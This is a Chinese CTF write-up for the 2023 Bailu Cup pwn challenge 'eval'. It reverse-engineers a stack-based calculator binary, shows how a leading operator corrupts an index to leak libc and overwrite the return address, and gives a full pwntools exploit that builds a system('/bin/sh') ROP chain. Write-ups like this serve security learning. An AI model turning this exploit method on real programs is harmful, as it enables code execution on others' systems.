2023柏鹭杯
2024-09-20 17:16:24 # wp

前言

算是这三个月以来第一次打比赛 生疏了很多 然后两题pwn的考点都在代码审计能力
我刚好这方面十分薄弱 所以在赛后借助这两题准备进行一次细致的代审

同时 文中出现的函数名大部分都是我自己重命名过的 所以不一样不用担心ida解析问题

eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[160]; // [rsp+10h] [rbp-1B0h] BYREF
char v5[264]; // [rsp+B0h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+1B8h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
alarm(0x1Eu);
while ( recv_data(v5, 0x100uLL) )
vuln(v5, v4);
return 0LL;
}

main函数就是清空缓冲区以及设置闹钟 同时使用了一个while循环
先跟进一下recv_data这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall sub_9D6(void *a1, size_t a2)
{
__int64 v3; // rax
char buf; // [rsp+1Fh] [rbp-11h] BYREF
__int64 v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
v6 = 0LL;
memset(a1, 0, a2);
while ( a2 > v6 + 1 && read(0, &buf, 1uLL) != -1 && buf != 10 )
{
if ( !check_opt(buf) && !check_number(buf) )
error();
v3 = v6++;
*(a1 + v3) = buf;
}
return v6;
}

通过单次输入一个字节 随后对该字节进行判断 是否为数字或者运算符 然后存储到a1中
随后来看一下vuln函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall vuln(__int64 buf, _QWORD *a2)
{
char v3; // [rsp+1Fh] [rbp-11h]
__int64 buf2; // [rsp+20h] [rbp-10h]
__int64 i; // [rsp+28h] [rbp-8h]

memset(a2, 0, 0xA0uLL);
buf2 = buf;
for ( i = 0LL; ; ++i )
{
v3 = *(buf + i);
if ( !check_opt(v3) ) // 如果不是opt就返回0 即退出for循环
break;
deal_number(a2, buf2, i + buf);
if ( !check_number(*(i + 1 + buf)) )
error();
sub_CB1(a2, v3);
buf2 = i + 1 + buf;
LABEL_8:
;
}
if ( v3 )
goto LABEL_8;
deal_number(a2, buf2, i + buf);
while ( *a2 )
calc(a2);
return printf("%ld\n", a2[a2[3] + 3]);
}

这里的逻辑稍微复杂一点
仍然是一个逐字节处理 只有是操作符才能执行for循环中的函数
来跟进一下deal_number函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_BYTE *__fastcall sub_DC9(__int64 a1, const char *buf2, _BYTE *opt)
{
_BYTE *result; // rax
__int64 v4; // rax
__int64 v5; // rcx
char old_opt; // [rsp+27h] [rbp-9h]
_BYTE *first_number; // [rsp+28h] [rbp-8h]

if ( *buf2 == '0' )
error();
old_opt = *opt;
*opt = 0;
first_number = strtol(buf2, 0LL, 10);
result = opt;
*opt = old_opt;
if ( first_number )
{
v4 = *(a1 + 24);
*(a1 + 24) = v4 + 1;
v5 = v4 + 4;
result = first_number;
*(a1 + 8 * v5) = first_number;
}
return result;
}

先判断了是否为0 是则终止程序
随后利用strtol将字符串转化为长整型 存储在a1+32处 同时a1+24处自增1 当然这是第一次处理的情况 后面由于a1+24的值不为0了 所以数字存储的地址也会相应增加一个字长
sub_cb1函数是一个对于运算符的检查以及筛分后运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall sub_CB1(_QWORD *a1, char opt)
{
__int64 result; // rax

if ( !*a1 )
{
result = (*a1)++;
*(a1 + result + 8) = opt;
return result;
}
if ( opt != '+' )
{
if ( opt <= '+' )
{
if ( opt != '*' ) // 这边是*的跳转
LABEL_16:
error();
goto LABEL_8;
}
if ( opt != '-' )
{
if ( opt != '/' )
goto LABEL_16;
LABEL_8:
if ( sub_91A(*(a1 + *a1 + 7)) ) // *(a1 + *a1 + 7)也就是运算符 sub_91A用来进一步检查是否为*和/
calc(a1);
if ( *a1 > 0xEuLL )
error();
result = (*a1)++;
*(a1 + result + 8) = opt;
return result;
}
}
calc(a1);
if ( *a1 > 0xEuLL )
error();
result = (*a1)++;
*(a1 + result + 8) = opt;
return result;
}

随后calc函数应该很容易就能看出来是干啥的 这里的a1数组后面我们再仔细分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
_QWORD *__fastcall sub_AC7(_QWORD *a1)
{
_QWORD *result; // rax
int opt; // eax

result = *a1;
if ( *a1 )
{
opt = *(a1 + --*a1 + 8);
if ( opt == '+' )
{
a1[a1[3] + 2] += a1[a1[3] + 3]; // a1[a1[3] + 2]为第一个number
}
else if ( opt > '+' )
{
if ( opt == '-' )
{
a1[a1[3] + 2] -= a1[a1[3] + 3];
}
else
{
if ( opt != '/' )
LABEL_15:
error();
if ( !a1[a1[3] + 3] )
error();
a1[a1[3] + 2] /= a1[a1[3] + 3];
}
}
else
{
if ( opt != '*' )
goto LABEL_15;
a1[a1[3] + 2] *= a1[a1[3] + 3];
}
result = a1;
--a1[3];
}
return result;
}

经过上面的分析 我们大概可以推理出这样一个大概的流程
比如 输入1+2
首先针对1进行判断 非运算符 所以跳出for循环 但是执行到下面的if的时候 又跳回到了if循环中
此时i自增1 也就是判断下一个字符 即+
+可以通过判断 此时第一次执行deal_number函数
而其第二个参数buf2 此时仍然执行buf首地址 也就是第一个数字
于是这里就存储第一个数字到了a1数组中对应的地址 也就是a1+32
随后检查下一个字符是否为数字 如果不是则终止程序
同时更改了buf2 使其指向2数字位于的地址
随后就因为第四个字节为空 此时就算真正跳出了for循环
此时再次执行deal_number 也就是对于第二个数字进行存储
随后进入calc函数执行操作
这里的a1[a1[3] + 2] 我们拆开分析 a1[3]显然是deal_number函数中的v4 在执行两次后 其变成了2 而最后得到的a1[4]就是第一个数字存储的地址 第二个则为a1[5]
完整的一个流程应该是这样的 看起来没有什么可以利用的漏洞点
但是如果我们输入的是+52会怎么样
其会直接进入if分支 随后执行deal_number函数 而此时的buf2指向的是运算符
而strtol函数是无法转化运算符的 也就是说其返回值为空 那么第一个数字的存储就失败了
随后只会存储52这个数字到a2+32的位置
随后执行到calc函数的时候 由于a2[3]此时才为1 所以就相当于a2[3]被增加到了53
而最后的printf语句就是根据a2[3]来索引的

1
printf("%ld\n", a2[a2[3] + 3])

所以漏洞就出现在这里 可以实现一个栈上内容的泄露
泄露出libc_start_main的地址
image.png
在得到了libc地址后 我们可以利用同样的办法来操控a2[3]的值 同时可以利用deal_number函数中的strtol函数把str型的system这类地址 转化到栈上 从而可以构建出一条执行链 随后输入空字符 就可以跳出while循环 从而使程序执行到leave ret
完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*

from ctypes import *

io = process("./pwn")

#io = remote("121.12.85.23",50532)

elf = ELF("./pwn")

context.terminal = ['tmux','splitw','-h']

#libc = ELF("./ld-linux.so.2")

libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")

#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

#context.arch = "amd64"

context.log_level = "debug"

def debug():

    gdb.attach(io)

    pause()




payload = "+52"

io.sendline(payload)

libc.address = int(io.recvuntil("\n",drop = True),10)-0x24083

success("libc_addr :"+hex(libc.address))



system_addr = libc.sym['system']

payload = "+54+"+str(system_addr)

io.sendline(payload)



binsh_addr = next(libc.search(b"/bin/sh"))

payload = "+53+"+str(binsh_addr)

io.sendline(payload)



rdi_addr = libc.address + 0x0000000000023b6a

payload = "+52+"+str(rdi_addr)

io.sendline(payload)



ret_addr = rdi_addr+1

payload = "+51+"+str(ret_addr)

io.sendline(payload)



payload = ""

# gdb.attach(io,'b *$rebase(0x1054)')

io.sendline(payload)

# pause()

io.interactive()
Prev
2024-09-20 17:16:24 # wp
Next